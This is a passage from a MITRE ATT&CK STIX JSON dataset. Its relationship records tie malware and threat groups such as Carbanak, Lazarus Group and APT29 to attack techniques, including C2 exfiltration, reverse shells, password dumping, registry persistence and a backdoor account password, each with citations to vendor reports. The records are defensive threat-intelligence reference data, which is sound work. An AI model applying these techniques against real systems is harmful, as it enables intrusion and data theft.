            "modified": "2020-03-16T19:50:03.320Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--16d5d573-60bb-402c-88c3-2bc0af8388eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) performs desktop video recording and captures screenshots of the desktop and sends it to the C2 server.(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-02-11T15:55:06.491Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b149adfe-547f-4cd4-af4a-ea7018a203c1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can dump passwords and save them into <code>\\ProgramData\\Mail\\MailAg\\pwds.txt</code>.(Citation: Symantec Dragonfly)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf"
                }
            ],
            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "type": "relationship",
            "modified": "2020-03-17T15:08:58.248Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e6cafa6a-22ce-49f7-8136-dc5a51c3aaeb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa accesses the <code>ADMIN$</code> share via SMB to conduct lateral movement.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-09-09T19:15:45.440Z",
            "created": "2017-05-31T21:33:27.068Z"
        },
        {
            "id": "relationship--e11a3d87-d9cf-4dcf-b722-fef4b0a324b4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Axiom](https://attack.mitre.org/groups/G0001) has been observed using SQL injection to gain access to systems.(Citation: Novetta-Axiom)(Citation: Cisco Group 72)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                },
                {
                    "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72",
                    "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.",
                    "source_name": "Cisco Group 72"
                }
            ],
            "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c",
            "type": "relationship",
            "modified": "2019-03-22T19:55:13.721Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--196a2d37-4b87-465d-8d92-2e614cda869c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "type": "relationship",
            "modified": "2020-03-25T20:35:22.653Z",
            "created": "2017-05-31T21:33:27.029Z"
        },
        {
            "id": "relationship--1784577e-9d82-497b-aba1-bc4d5a23d8f8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NavRAT](https://attack.mitre.org/software/S0247) writes multiple outputs to a TMP file using the >> method.(Citation: Talos NavRAT May 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos NavRAT May 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, May 31). NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea. Retrieved June 11, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/05/navrat.html"
                }
            ],
            "source_ref": "malware--53a42597-1974-4b8e-84fd-3675e8992053",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:32:00.539Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) collects the current username and sends it to the C2 server.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T01:16:15.857Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--aaca7907-7a43-4ebb-bd2b-bf7f497d9134",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) has the ability to create a reverse shell.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:24:20.838Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a temporary user on the system named \u201cLost_{Unique Identifier}\u201d with the password \u201cpond~!@6\u201d{Unique Identifier}.\u201d(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T16:29:35.454Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--28189361-4cd2-4925-a095-d7ebd07ebd57",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[netstat](https://attack.mitre.org/software/S0104) can be used to enumerate local network connections, including active TCP connections and other network statistics.(Citation: TechNet Netstat)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Netstat",
                    "description": "Microsoft. (n.d.). Netstat. Retrieved April 17, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490947.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--4664b683-f578-434f-919b-1c1aad2a1111",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475"
        },
        {
            "id": "relationship--f9906a11-8ac7-4bd4-9c28-c58834ff593b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used spearphishing with PDF attachments containing malicious links that redirected to credential harvesting websites.(Citation: US-CERT TA18-074A)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TA18-074A",
                    "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2019-03-22T20:13:49.623Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used Microsoft\u2019s Sysinternals tools to gather detailed information about remote systems.(Citation: Symantec Leafminer July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.492Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the current system time (UTC) and sends it back to the C2 server.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--9494b0d8-26d9-48ae-8dd1-c9d8966b23a0",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.114Z",
            "created": "2019-01-29T17:59:44.401Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "description": "[PlugX](https://attack.mitre.org/software/S0013) allows the operator to capture screenshots.(Citation: CIRCL PlugX March 2013)",
            "id": "relationship--bb39cbf2-a9dc-4c31-9fb9-b6c456c2005c",
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-04-19T15:08:15.899Z",
            "created": "2019-01-29T18:17:59.258Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html",
                    "source_name": "Talos Agent Tesla Oct 2018"
                },
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Bitdefender Agent Tesla April 2020",
                    "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/",
                    "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020."
                },
                {
                    "source_name": "SentinelLabs Agent Tesla Aug 2020",
                    "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/",
                    "description": "Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can log keystrokes on the victim\u2019s machine.(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)(Citation: Bitdefender Agent Tesla April 2020)(Citation: SentinelLabs Agent Tesla Aug 2020)",
            "id": "relationship--891217a4-3822-4345-b77f-448f41fd9361",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-12-11T22:07:41.427Z",
            "created": "2019-01-29T18:44:05.133Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
                    "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.",
                    "source_name": "PaloAlto UBoatRAT Nov 2017"
                }
            ],
            "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) encrypts instructions in the payload using a simple XOR cipher.(Citation: PaloAlto UBoatRAT Nov 2017)",
            "id": "relationship--e9404ebb-fce5-4596-b0f1-7f8a61578b32",
            "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-04-19T15:10:04.372Z",
            "created": "2019-01-29T19:09:26.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.melani.admin.ch/dam/melani/de/dokumente/2016/technical%20report%20ruag.pdf.download.pdf/Report_Ruag-Espionage-Case.pdf",
                    "description": "GovCERT. (2016, May 23). Technical Report about the Espionage Case at RUAG. Retrieved November 7, 2018.",
                    "source_name": "GovCERT Carbon May 2016"
                }
            ],
            "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the <code>net view</code> command.(Citation: GovCERT Carbon May 2016)",
            "id": "relationship--a951bef0-4a5a-49b0-b6bd-6a4dfbd60ca0",
            "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2021-04-25T15:45:04.900Z",
            "created": "2019-01-29T19:36:02.749Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf",
                    "source_name": "Kaspersky Turla Aug 2014"
                }
            ],
            "description": "[Epic](https://attack.mitre.org/software/S0091) recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\\Temp directories.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)",
            "id": "relationship--291e908e-1d2e-4b29-a564-5a33149d1dbb",
            "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-26T16:10:42.930Z",
            "created": "2019-01-29T19:55:48.173Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/",
                    "source_name": "Unit 42 Tropic Trooper Nov 2016"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."
                }
            ],
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell</code> and sets the value to establish persistence.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
            "id": "relationship--ad3bca07-c2d2-411f-9bd8-bf4e1142d9ae",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35",
            "type": "relationship",
            "modified": "2020-05-29T03:23:28.048Z",
            "created": "2019-01-29T20:17:49.278Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT38 Oct 2018",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."
                }
            ],
            "description": "[APT38](https://attack.mitre.org/groups/G0082) has conducted watering holes schemes to gain initial access to victims.(Citation: FireEye APT38 Oct 2018)",
            "id": "relationship--2d27c0d9-7e8e-4713-b3e1-0d82db27ac9a",
            "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-09-09T19:10:53.371Z",
            "created": "2019-01-29T21:27:25.332Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a RAR archive based on collected files on the victim's machine.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--96d8b8bb-3bdc-481e-a554-41790acac66a",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:34:03.928Z",
            "created": "2019-01-29T21:47:53.635Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) collects system drive information, the computer name, and the size of the disk.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--75a1f636-76d3-4029-ae40-0a7a3b8d7eba",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:00:36.692Z",
            "created": "2019-01-30T13:24:09.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) is packed for obfuscation.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--c63696bf-8b36-4366-9c3f-7a2d0053c481",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-04-17T22:22:21.969Z",
            "created": "2019-01-30T13:53:14.917Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks",
                    "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/",
                    "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                },
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used <code>Rundll32.exe</code> to execute payloads.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)(Citation: Microsoft Deep Dive Solorigate January 2021)(Citation: FireEye APT29 Nov 2018)",
            "id": "relationship--bbd100ee-cc67-43f3-bc56-d02ee50e689d",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2021-04-16T20:29:18.699Z",
            "created": "2019-01-30T14:19:17.694Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                },
                {
                    "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside",
                    "source_name": "Proofpoint Azorult July 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect a list of running processes by calling CreateToolhelp32Snapshot.(Citation: Unit42 Azorult Nov 2018)(Citation: Proofpoint Azorult July 2018)",
            "id": "relationship--f503ea13-d045-4246-9674-a73f7e52ea85",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.296Z",
            "created": "2019-01-30T15:19:14.994Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
